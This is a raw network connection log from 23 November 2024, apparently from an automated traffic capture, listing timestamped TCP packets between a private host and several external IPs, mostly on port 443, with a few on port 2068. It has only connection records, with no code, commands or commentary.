Nov 23, 2024 21:12:09.391854048 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.392087936 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.392100096 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.499356985 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.499432087 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.499489069 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.500060081 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.500082970 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.500097990 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.500103951 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.504908085 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.504971027 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.505042076 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.505275965 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.505291939 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.575553894 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.575628042 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.575706005 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.575900078 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.575922966 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.575937986 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.575946093 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.579204082 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.579257011 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.579343081 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.579524994 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.579535007 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.586246014 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.586325884 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.586385012 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.586518049 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.586530924 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.586544037 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.586549997 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.588839054 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.588871956 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.588942051 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.589071035 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.589093924 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.619765043 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.619843960 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.619903088 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.620059013 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.620080948 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.620095968 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.620104074 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.622844934 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.622884035 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.622958899 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.623104095 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.623112917 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.321568966 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.322256088 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.322315931 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.322988033 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.323000908 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.432148933 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.432796001 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.432879925 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.433368921 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.433384895 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.460748911 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.461266994 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.461302996 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.461734056 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.461740017 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.497174025 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.497786999 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.497834921 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.498236895 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.498254061 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.533703089 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.534245968 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.534272909 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.534864902 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.534872055 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.854136944 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.854228973 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.854362011 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.854657888 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.854680061 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.854712009 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.854717970 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.857501030 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.857542992 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.857635975 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.857773066 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.857784033 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.923552990 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.923629045 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.923896074 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.923940897 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.923940897 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.923962116 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.923995018 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.927047968 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.927088976 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.927258015 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.927386999 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.927398920 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.975019932 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.975085020 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.975199938 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.975486994 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.975538969 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.975569963 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.975586891 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.978946924 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.979037046 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:11.979151011 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.979398012 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:11.979434967 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:12.008306026 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:12.008400917 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:12.008654118 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:12.008697033 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:12.008714914 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:12.008729935 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:12.008737087 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:12.011843920 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:12.011878014 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:12.011981010 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:12.012193918 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:12.012206078 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:12.079166889 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:12.079257011 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:12.079493046 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:12.079572916 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:12.079601049 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:12.079646111 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:12.079653978 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:12.082576036 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:12.082672119 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:12.082760096 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:12.082926035 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:12.082971096 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.422720909 CET	49816	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:13.542706013 CET	2068	49816	147.185.221.24	192.168.2.4
Nov 23, 2024 21:12:13.730026960 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.770872116 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.776788950 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:13.776812077 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.777228117 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:13.777235031 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.779038906 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:13.779062033 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.779596090 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:13.779603958 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.835680008 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.842679024 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:13.842715025 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.843395948 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:13.843401909 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.890713930 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.891211987 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:13.891231060 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.891684055 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:13.891690016 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.954715014 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.955342054 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:13.955364943 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:13.955813885 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:13.955823898 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.185061932 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.185142994 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.185210943 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.185375929 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.185400963 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.185415030 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.185420990 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.188460112 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.188512087 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.188608885 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.188806057 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.188824892 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.239183903 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.239278078 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.239329100 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.239577055 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.239595890 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.239607096 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.239613056 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.242566109 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.242604971 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.242732048 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.242923021 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.242943048 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.295171022 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.295253038 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.295306921 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.295542955 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.295563936 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.295574903 CET	49839	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.295581102 CET	443	49839	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.299309015 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.299344063 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.299417019 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.299946070 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.299959898 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.346529007 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.346595049 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.346679926 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.346849918 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.346867085 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.346889973 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.346895933 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.349817991 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.349849939 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.349917889 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.350102901 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.350116014 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.403004885 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.403203011 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.403259993 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.403455019 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.403455019 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.403501987 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.403528929 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.409601927 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.409629107 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:14.409692049 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.409851074 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:14.409862041 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:15.708067894 CET	49847	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:12:15.708105087 CET	443	49847	142.250.181.100	192.168.2.4
Nov 23, 2024 21:12:15.709161043 CET	49847	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:12:15.709338903 CET	49847	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:12:15.709357023 CET	443	49847	142.250.181.100	192.168.2.4
Nov 23, 2024 21:12:16.062112093 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.062511921 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.073102951 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.073118925 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.074115038 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.074115038 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.074115992 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.074125051 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.074136972 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.074146986 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.197827101 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.203433037 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.203449011 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.210700035 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.210711002 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.245488882 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.287532091 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.304959059 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.307082891 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.307089090 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.307950020 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.307955027 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.309398890 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.309410095 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.310261011 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.310266972 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.649719954 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.649796963 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.649849892 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.650233984 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.650250912 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.650269985 CET	49843	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.650275946 CET	443	49843	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.650321007 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.650394917 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.650440931 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.652241945 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.652250051 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.652261019 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.652265072 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.655435085 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.655479908 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.655538082 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.655750990 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.655751944 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.655762911 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.655796051 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.655848026 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.655976057 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.655992985 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.722332001 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.722508907 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.722620010 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.722774982 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.722774982 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.722795010 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.722805023 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.726435900 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.726476908 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.726541042 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.726748943 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.726768017 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.754703999 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.754889011 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.754950047 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.755012035 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.755022049 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.755038977 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.755043983 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.758358002 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.758388042 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.758475065 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.758624077 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.758646965 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.760510921 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.760647058 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.760701895 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.760730982 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.760751009 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.760761023 CET	49845	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.760766983 CET	443	49845	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.763411999 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.763437033 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:16.763494015 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.763616085 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:16.763628006 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:17.266148090 CET	49816	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:17.388916969 CET	2068	49816	147.185.221.24	192.168.2.4
Nov 23, 2024 21:12:17.594582081 CET	443	49847	142.250.181.100	192.168.2.4
Nov 23, 2024 21:12:17.598082066 CET	49847	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:12:17.598104954 CET	443	49847	142.250.181.100	192.168.2.4
Nov 23, 2024 21:12:17.598458052 CET	443	49847	142.250.181.100	192.168.2.4
Nov 23, 2024 21:12:17.601721048 CET	49847	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:12:17.601819992 CET	443	49847	142.250.181.100	192.168.2.4
Nov 23, 2024 21:12:17.656450987 CET	49847	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:12:18.579513073 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:18.580265045 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:18.592720985 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:18.592735052 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:18.593312025 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:18.593314886 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:18.593847036 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:18.593868017 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:18.596205950 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:18.596214056 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:18.686275005 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:18.734653950 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:18.793559074 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:18.793584108 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:18.794195890 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:18.794202089 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:18.843426943 CET	443	49852	13.107.246.63	192.168.2.4
